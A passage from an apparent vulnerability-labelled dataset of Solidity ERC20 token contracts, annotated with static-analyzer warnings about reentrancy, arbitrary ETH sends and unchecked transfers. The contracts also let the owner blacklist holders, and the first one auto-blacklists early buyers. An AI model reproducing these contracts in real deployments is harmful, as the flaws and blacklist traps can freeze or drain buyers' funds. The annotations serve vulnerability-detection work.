public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d117b8b): ERC.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d117b8b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f215481): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f215481: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b5ed75c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b5ed75c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f215481\n\t\t// reentrancy-benign | ID: b5ed75c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f215481\n\t\t// reentrancy-benign | ID: b5ed75c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab8184e): ERC._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab8184e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 96737d7\n\t\t// reentrancy-benign | ID: b5ed75c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4cde2c3\n\t\t// reentrancy-events | ID: f215481\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6c5c043): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6c5c043: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b87ca6b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b87ca6b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6c5c043\n\t\t\t\t// reentrancy-eth | ID: b87ca6b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6c5c043\n\t\t\t\t\t// reentrancy-eth | ID: b87ca6b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b87ca6b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b87ca6b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b87ca6b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6c5c043\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b87ca6b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b87ca6b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6c5c043\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4cde2c3\n\t\t// reentrancy-events | ID: 6c5c043\n\t\t// reentrancy-events | ID: f215481\n\t\t// reentrancy-benign | ID: 96737d7\n\t\t// reentrancy-benign | ID: b5ed75c\n\t\t// reentrancy-eth | ID: b87ca6b\n\t\t// reentrancy-eth | ID: 9b610d2\n\t\t// reentrancy-eth | ID: ec14ed8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cffc050): ERC.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cffc050: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4cde2c3\n\t\t// reentrancy-events | ID: 6c5c043\n\t\t// reentrancy-events | ID: f215481\n\t\t// reentrancy-eth | ID: b87ca6b\n\t\t// reentrancy-eth | ID: 9b610d2\n\t\t// reentrancy-eth | ID: ec14ed8\n\t\t// arbitrary-send-eth | ID: cffc050\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4cde2c3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4cde2c3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 96737d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 96737d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ac31f9f): ERC.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ac31f9f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 51373aa): ERC.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 51373aa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9b610d2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9b610d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ec14ed8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ec14ed8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 4cde2c3\n\t\t// reentrancy-benign | ID: 96737d7\n\t\t// reentrancy-eth | ID: 9b610d2\n\t\t// reentrancy-eth | ID: ec14ed8\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 4cde2c3\n\t\t// reentrancy-benign | ID: 96737d7\n\t\t// reentrancy-eth | ID: 9b610d2\n\t\t// reentrancy-eth | ID: ec14ed8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 4cde2c3\n\t\t// reentrancy-benign | ID: 96737d7\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: ac31f9f\n\t\t// reentrancy-eth | ID: ec14ed8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 51373aa\n\t\t// reentrancy-eth | ID: ec14ed8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: ec14ed8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ec14ed8\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d00e136): ERC.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for d00e136: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: d00e136\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10662.sol",
"size_bytes": 22391,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract test is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 45959e8): test._taxWallet should be immutable \n\t// Recommendation for 45959e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10705ad): test._initialBuyTax should be constant \n\t// Recommendation for 10705ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 047d393): test._initialSellTax should be constant \n\t// Recommendation for 047d393: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5415f30): test._reduceBuyTaxAt should be constant \n\t// Recommendation for 5415f30: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fc0ca0): test._reduceSellTaxAt should be constant \n\t// Recommendation for 1fc0ca0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b1b54a4): test._preventSwapBefore should be constant \n\t// Recommendation for b1b54a4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Test Token\";\n\n string private constant _symbol = unicode\"TT\";\n\n uint256 public _maxTxAmount = 6310350000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 6310350000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d49ca4f): test._taxSwapThreshold should be constant \n\t// Recommendation for d49ca4f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e568d11): test._maxTaxSwap should be constant \n\t// Recommendation for e568d11: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9151fcc): test.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9151fcc: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1e94156): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1e94156: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0f721fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0f721fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1e94156\n\t\t// reentrancy-benign | ID: 0f721fe\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1e94156\n\t\t// reentrancy-benign | ID: 0f721fe\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0df8e90): test._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0df8e90: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0f721fe\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1e94156\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 13441d0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 13441d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6511cef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6511cef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 13441d0\n\t\t\t\t// reentrancy-eth | ID: 6511cef\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 13441d0\n\t\t\t\t\t// reentrancy-eth | ID: 6511cef\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6511cef\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6511cef\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6511cef\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 13441d0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6511cef\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6511cef\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 13441d0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1e94156\n\t\t// reentrancy-events | ID: 13441d0\n\t\t// reentrancy-benign | ID: 0f721fe\n\t\t// reentrancy-eth | ID: 6511cef\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 843f99a): test.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 843f99a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1e94156\n\t\t// reentrancy-events | ID: 13441d0\n\t\t// reentrancy-eth | ID: 6511cef\n\t\t// arbitrary-send-eth | ID: 843f99a\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3af68cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3af68cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0f148d6): test.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0f148d6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ad4313): test.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0ad4313: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d066774): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d066774: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3af68cd\n\t\t// reentrancy-eth | ID: d066774\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3af68cd\n\t\t// unused-return | ID: 0ad4313\n\t\t// reentrancy-eth | ID: d066774\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3af68cd\n\t\t// unused-return | ID: 0f148d6\n\t\t// reentrancy-eth | ID: d066774\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3af68cd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d066774\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: beb5dbb): test.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for beb5dbb: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: beb5dbb\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10663.sol",
"size_bytes": 20801,
"vulnerability": 4
} |
{
